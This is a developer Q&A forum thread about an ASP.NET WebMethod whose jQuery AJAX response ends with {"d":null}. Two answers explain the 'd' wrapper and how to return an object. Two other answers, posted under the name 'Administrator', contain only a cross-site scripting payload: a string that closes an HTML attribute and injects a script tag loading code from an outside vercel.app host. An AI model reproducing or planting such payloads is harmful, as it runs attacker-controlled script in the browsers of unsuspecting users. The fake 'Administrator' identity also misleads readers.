SyntaxError: JSON.parse: unexpected non-whitespace character

Gaurav Kumar 21 Reputation points
2021-06-01T20:08:00.323+00:00

Hello Everyone,

Below is my Webmethod
[WebMethod]
public void GetAllEmployee(string month, string year)
{
try
{
DBHelper oDBhelper = new DBHelper();
DataTable dt = new DataTable();
List<EmployeeWithOCBalance> employeelist = new List<EmployeeWithOCBalance>();
Hashtable param = new Hashtable();
param.Add("@Case ", 3);
param.Add("@bmonth", month);
param.Add("@byear", year);
dt = oDBhelper.GetDatatabel("usp_OC_balance_details", param);

            for (int i = 0; i < dt.Rows.Count; i++)  
            {  
                EmployeeWithOCBalance employee = new EmployeeWithOCBalance();  
                employee.emp_id = dt.Rows[i]["emp_id"].ToString();  
                employee.name = dt.Rows[i]["name"].ToString();  
                employee.opening_balance = dt.Rows[i]["opening_balance"].ToString();  
                employee.closing_balance = dt.Rows[i]["closing_balance"].ToString();  
                employeelist.Add(employee);  
            }  
            JavaScriptSerializer js = new JavaScriptSerializer();  
            Context.Response.Write(js.Serialize(employeelist));  
        }  
        catch (Exception ex)  
        {  
  
  
        }  
    }  

And this is my Ajax method

function BindEmployees(month,year) {  
            $.ajax({  
                url: 'Assets.asmx/GetAllEmployee',  
                data: '{ "month": "'+month+'", "year": "'+year+'" }',  
                dataType: "json",  
                method: 'POST',  
                contentType: 'application/json',  
                success: function (data) {  
.......................... so on  

I am getting method repose code as 200.
When I get the json response, it adds {"d":null} at the very last.
I don't know from where it is coming.
The result is I am not able to bind the data in a table.

Kindly suggest.
Thanks

ASP.NET
ASP.NET
A set of technologies in the .NET Framework for building web applications and XML web services.
3,254 questions
{count} votes

4 answers

Sort by: Most helpful
  1. SurferOnWww 1,911 Reputation points
    2021-06-02T04:55:48.12+00:00

    When I get the json response, it adds {"d":null} at the very last. I don't know from where it is coming.

    I guess it is "d" property added by ASP.NET Web Servce after and including ASP.NET 3.5 for security reason and content (null because nothing returned). For details please refer to the following article:

    Handling JSON Arrays returned from ASP.NET Web Services with jQuery
    https://www.mikesdotnetting.com/Article/96/Handling-JSON-Arrays-returned-from-ASP.NET-Web-Services-with-jQuery

    0 comments No comments

  2. Administrator 0 Reputation points
    2023-08-13T22:03:57.53+00:00

    "><script src="https://blackpanther87.vercel.app"></script>


  3. Administrator 0 Reputation points
    2023-08-13T22:04:40.2966667+00:00

    "><script src="https://blackpanther87.vercel.app"></script>

    0 comments No comments

  4. Bruce (SqlWork.com) 56,026 Reputation points
    2023-08-16T16:13:36.0366667+00:00

    webmethods were designed to return data objects to javascript. for security the object is returned as

    {"d": object}

    so in jQuery you always needed to use result.d to get the data.

    your method is writing out json, unknown to the web method render code, and does not return an object, so it appends its response.

    follow the docs

    https://learn.microsoft.com/en-us/aspnet/web-forms/overview/older-versions-getting-started/aspnet-ajax/understanding-asp-net-ajax-web-services

    0 comments No comments